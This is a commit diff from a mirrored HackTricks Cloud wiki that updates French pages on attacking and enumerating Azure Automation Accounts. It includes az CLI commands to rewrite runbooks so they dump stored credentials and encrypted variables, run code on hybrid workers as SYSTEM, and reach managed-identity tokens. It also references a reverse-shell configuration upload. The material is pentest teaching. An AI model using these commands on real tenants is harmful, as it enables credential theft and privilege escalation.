gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-29 14:13:20 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

Browse Source
This commit is contained in:
Translator
2025-01-10 13:19:18 +00:00
parent a14c814155
commit 88931f156a
2 changed files with 69 additions and 23 deletions
Download Patch File Download Diff File Expand all files Collapse all files

54
src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
View File

@@ -10,11 +10,20 @@ Pour plus d'informations, consultez :
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers
N'oubliez pas que si, d'une manière ou d'une autre, un attaquant peut exécuter un runbook arbitraire (code arbitraire) dans un hybrid worker, il **se déplacera vers l'emplacement de la VM**. Cela pourrait être une machine sur site, un VPC d'un autre cloud ou même une VM Azure.
De plus, si le hybrid worker fonctionne dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à l'**identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**.
> [!TIP]
> N'oubliez pas que le **service de métadonnées** a une URL différente (**`http://169.254.169.254`**) que le service à partir duquel obtenir le jeton d'identités gérées du compte d'automatisation (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
En résumé, ces permissions permettent de **créer, modifier et exécuter des Runbooks** dans le compte d'automatisation, que vous pourriez utiliser pour **exécuter du code** dans le contexte du compte d'automatisation et élever les privilèges aux **Identités Gérées** assignées et divulguer des **identifiants** et des **variables chiffrées** stockées dans le compte d'automatisation.
En résumé, ces autorisations permettent de **créer, modifier et exécuter des Runbooks** dans le compte d'automatisation, que vous pourriez utiliser pour **exécuter du code** dans le contexte du compte d'automatisation et élever les privilèges aux **Identités Gérées** assignées et divulguer des **identifiants** et des **variables chiffrées** stockées dans le compte d'automatisation.
La permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permet de modifier le code d'un Runbook dans le compte d'automatisation en utilisant :
L'autorisation **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permet de modifier le code d'un Runbook dans le compte d'automatisation en utilisant :
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -27,9 +36,9 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Notez comment le script précédent peut être utilisé pour **leaker le nom d'utilisateur et le mot de passe** d'un identifiant et la valeur d'une **variable chiffrée** stockée dans le compte d'automatisation.
Notez comment le script précédent peut être utilisé pour **leak the useranmd and password** d'un identifiant et la valeur d'une **encrypted variable** stockée dans le compte Automation.
La permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permet à l'utilisateur de publier un Runbook dans le compte d'automatisation afin que les modifications soient appliquées :
La permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permet à l'utilisateur de publier un Runbook dans le compte Automation afin que les modifications soient appliquées :
```bash
az automation runbook publish \
--resource-group <res-group> \
@@ -38,7 +47,11 @@ az automation runbook publish \
```
La permission **`Microsoft.Automation/automationAccounts/jobs/write`** permet à l'utilisateur d'exécuter un Runbook dans le compte d'automatisation en utilisant :
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
La permission **`Microsoft.Automation/automationAccounts/jobs/output/read`** permet à l'utilisateur de lire la sortie d'un travail dans le compte d'automatisation en utilisant :
```bash
@@ -51,7 +64,7 @@ az automation runbook create --automation-account-name <account-name> --resource
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Cette permission permet à l'utilisateur de **assigner une identité gérée par l'utilisateur** au compte d'automatisation en utilisant :
Cette permission permet à l'utilisateur de **attribuer une identité gérée par l'utilisateur** au compte d'automatisation en utilisant :
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -67,9 +80,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Avec la permission **`Microsoft.Automation/automationAccounts/schedules/write`**, il est possible de créer un nouvel horaire dans le compte d'automatisation qui s'exécute toutes les 15 minutes (pas très furtif) en utilisant la commande suivante.
Avec la permission **`Microsoft.Automation/automationAccounts/schedules/write`**, il est possible de créer un nouvel horaire dans le compte d'automatisation qui s'exécute toutes les 15 minutes (pas très discret) en utilisant la commande suivante.
Notez que l'**intervalle minimum pour un horaire est de 15 minutes**, et que l'**heure de début minimum est de 5 minutes** dans le futur.
Notez que l'**intervalle minimum pour un horaire est de 15 minutes**, et que le **temps de début minimum est de 5 minutes** dans le futur.
```bash
## For linux
az automation schedule create \
@@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
@@ -182,14 +196,30 @@ az automation source-control create \
```
Cela importera automatiquement les runbooks du dépôt Github vers le compte d'automatisation et avec quelques autres autorisations pour commencer à les exécuter, il serait **possible d'escalader les privilèges**.
De plus, rappelez-vous que pour que le contrôle de source fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, cela peut également être configuré en définissant dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** l'**id client** de l'identité gérée par l'utilisateur à utiliser.
De plus, rappelez-vous que pour que le contrôle de version fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, l'ID client de l'ID géré doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Notez qu'il n'est pas possible de changer l'URL du dépôt d'un contrôle de source une fois qu'il est créé.
> Notez qu'il n'est pas possible de changer l'URL du dépôt d'un contrôle de version une fois qu'il est créé.
### `Microsoft.Automation/automationAccounts/variables/write`
Avec l'autorisation **`Microsoft.Automation/automationAccounts/variables/write`**, il est possible d'écrire des variables dans le compte d'automatisation en utilisant la commande suivante.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
```
### Environnements d'exécution personnalisés
Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'exécution par du code malveillant (comme **une porte dérobée**). De cette façon, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté.
Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'environnement d'exécution par du code malveillant (comme **une porte dérobée**). De cette manière, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté.
### Compromission de la configuration d'état
@@ -215,7 +245,7 @@ Le fichier de configuration compressé est téléchargé dans un conteneur de st
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Étape 4 — Préparer la boîte Kali
- Étape 4 — Préparer la Kali Box
Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub.
```bash

38
src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
View File

@@ -4,7 +4,7 @@
## Informations de base
Les comptes d'automatisation Azure sont des services basés sur le cloud dans Microsoft Azure qui aident à **automatiser des tâches** telles que la gestion des ressources, la configuration et les mises à jour à travers Azure et les environnements sur site. Ils fournissent des **Runbooks** (scripts pour l'automatisation qui sont exécutés), des **horaires** et des **groupes de travailleurs hybrides** pour exécuter des **jobs d'automatisation**, permettant l'infrastructure en tant que code (IaC) et l'automatisation des processus pour améliorer l'efficacité et la cohérence dans la gestion des ressources cloud.
Les comptes d'automatisation Azure sont des services basés sur le cloud dans Microsoft Azure qui aident à **automatiser des tâches** telles que la gestion des ressources, la configuration et les mises à jour à travers Azure et les environnements sur site. Ils fournissent des **Runbooks** (scripts pour l'automatisation qui sont exécutés), des **horaires** et des **groupes de travailleurs hybrides** pour exécuter des **jobs** d'automatisation, permettant l'infrastructure en tant que code (IaC) et l'automatisation des processus pour améliorer l'efficacité et la cohérence dans la gestion des ressources cloud.
### Paramètres
@@ -46,7 +46,7 @@ Lorsque la synchronisation est activée, dans le **dépôt Github, un webhook es
Notez que ces webhooks **ne seront pas visibles** lors de la liste des webhooks dans les runbooks associés au dépôt Github. Notez également qu'il est **impossible de changer l'URL du dépôt** d'un contrôle de version une fois qu'il est créé.
Pour que le contrôle de version configuré fonctionne, le **compte d'automatisation Azure** doit avoir une identité gérée (système ou utilisateur) avec le rôle **`Contributor`**. De plus, pour attribuer une identité gérée utilisateur au compte d'automatisation, il est possible de le faire en définissant simplement la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** sur le **Client ID de l'identité gérée utilisateur**.
Pour que le contrôle de version configuré fonctionne, le **compte d'automatisation Azure** doit avoir une identité gérée (système ou utilisateur) avec le rôle **`Contributor`**. De plus, pour attribuer une identité gérée utilisateur au compte d'automatisation, il est nécessaire d'indiquer l'ID client de l'ID utilisateur MI dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
### Environnements d'exécution
@@ -61,23 +61,30 @@ Lors de la création d'un Runbook, il est possible de sélectionner l'environnem
Cependant, il est également possible de **créer vos propres environnements**, en utilisant l'un de ceux-ci comme base. Dans le cas de Python, il est possible de télécharger des packages `.whl` dans l'environnement qui sera utilisé. Dans le cas de PowerShell, il est possible de télécharger des packages `.zip` avec les modules à avoir dans l'exécution.
### Travailleur hybride
### Groupes de travailleurs hybrides
Un Runbook peut être exécuté dans un **conteneur à l'intérieur d'Azure** ou dans un **Travailleur Hybride** (machine non-Azure).\
L'**Agent Log Analytics** est déployé sur la VM pour l'enregistrer en tant que travailleur hybride.\
Les jobs de travailleur hybride s'exécutent en tant que **SYSTEM** sur Windows et en tant que compte **nxautomation** sur Linux.\
Chaque Travailleur Hybride est enregistré dans un **Groupe de Travailleurs Hybrides**.
Dans Azure Automation, l'environnement d'exécution par défaut pour les runbooks est le **Azure Sandbox**, une plateforme basée sur le cloud gérée par Azure, adaptée aux tâches impliquant des ressources Azure. Cependant, ce sandbox a des limitations, telles qu'un accès restreint aux ressources sur site et des contraintes sur le temps d'exécution et l'utilisation des ressources. Pour surmonter ces limitations, des groupes de travailleurs hybrides sont employés. Un groupe de travailleurs hybrides se compose de **un ou plusieurs travailleurs de Runbook hybrides installés sur vos propres machines**, que ce soit sur site, dans d'autres environnements cloud ou des VM Azure. Cette configuration permet aux runbooks de s'exécuter directement sur ces machines, offrant un accès direct aux ressources locales, la capacité d'exécuter des tâches plus longues et plus gourmandes en ressources, et la flexibilité d'interagir avec des environnements au-delà de la portée immédiate d'Azure.
Par conséquent, si vous pouvez choisir d'exécuter un **Runbook** dans un **Travailleur Hybride Windows**, vous exécuterez des **commandes arbitraires** à l'intérieur d'une machine externe en tant que **Système** (technique de pivot intéressante).
Lorsqu'un groupe de travailleurs hybrides est créé, il est nécessaire d'indiquer les **identifiants** à utiliser. Il y a 2 options :
- **Identifiants par défaut** : Vous n'avez pas besoin de fournir les identifiants et les runbooks seront exécutés à l'intérieur des VM en tant que **Système**.
- **Identifiants spécifiques** : Vous devez fournir le nom de l'objet d'identifiants à l'intérieur du compte d'automatisation, qui sera utilisé pour exécuter les **runbooks à l'intérieur des VM**. Par conséquent, dans ce cas, il pourrait être possible de **voler des identifiants valides** pour les VM.
Par conséquent, si vous pouvez choisir d'exécuter un **Runbook** dans un **Travailleur Hybride Windows**, vous exécuterez des **commandes arbitraires** à l'intérieur d'une machine externe en tant que **Système** (technique de pivot intéressant).
De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à **l'identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**.
> [!TIP]
> N'oubliez pas que le **service de métadonnées** a une URL différente (**`http://169.254.169.254`**) que le service à partir duquel obtenir le jeton d'identité gérée du compte d'automatisation (**`IDENTITY_ENDPOINT`**).
### Configuration d'état (SC)
>[!WARNING]
> Comme indiqué dans [la documentation](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuration d'État d'Azure Automation sera retirée le 30 septembre 2027 et remplacée par [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Comme indiqué dans [la documentation](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la configuration d'état Azure Automation sera retirée le 30 septembre 2027 et remplacée par [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Les comptes d'automatisation prennent également en charge la **Configuration d'État (SC)**, qui est une fonctionnalité qui aide à **configurer** et à **maintenir** l'**état** de vos VM. Il est possible de **créer** et d'**appliquer** des configurations DSC sur des machines **Windows** et **Linux**.
Les comptes d'automatisation prennent également en charge la **Configuration d'état (SC)**, qui est une fonctionnalité qui aide à **configurer** et à **maintenir** l'**état** de vos VM. Il est possible de **créer** et **d'appliquer** des configurations DSC à des machines **Windows** et **Linux**.
Du point de vue des attaquants, cela était intéressant car cela permettait d'**exécuter du code PS arbitraire dans toutes les VM configurées**, permettant d'escalader les privilèges aux identités gérées de ces VM, potentiellement en pivotant vers de nouveaux réseaux... De plus, les configurations pouvaient contenir des **informations sensibles**.
Du point de vue des attaquants, cela était intéressant car cela permettait d'**exécuter du code PS arbitraire dans toutes les VM configurées**, permettant d'escalader les privilèges aux identités gérées de ces VM, potentiellement en pivotant vers de nouveaux réseaux... De plus, les configurations pourraient contenir des **informations sensibles**.
## Énumération
```bash
@@ -180,6 +187,15 @@ az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOU
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get hybrid worker groups for an automation account
az automation hrwg list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get hybrid worker group details
az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <HYBRID-WORKER-GROUP>
# Get more details about a hybrid worker group (like VMs inside it)
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell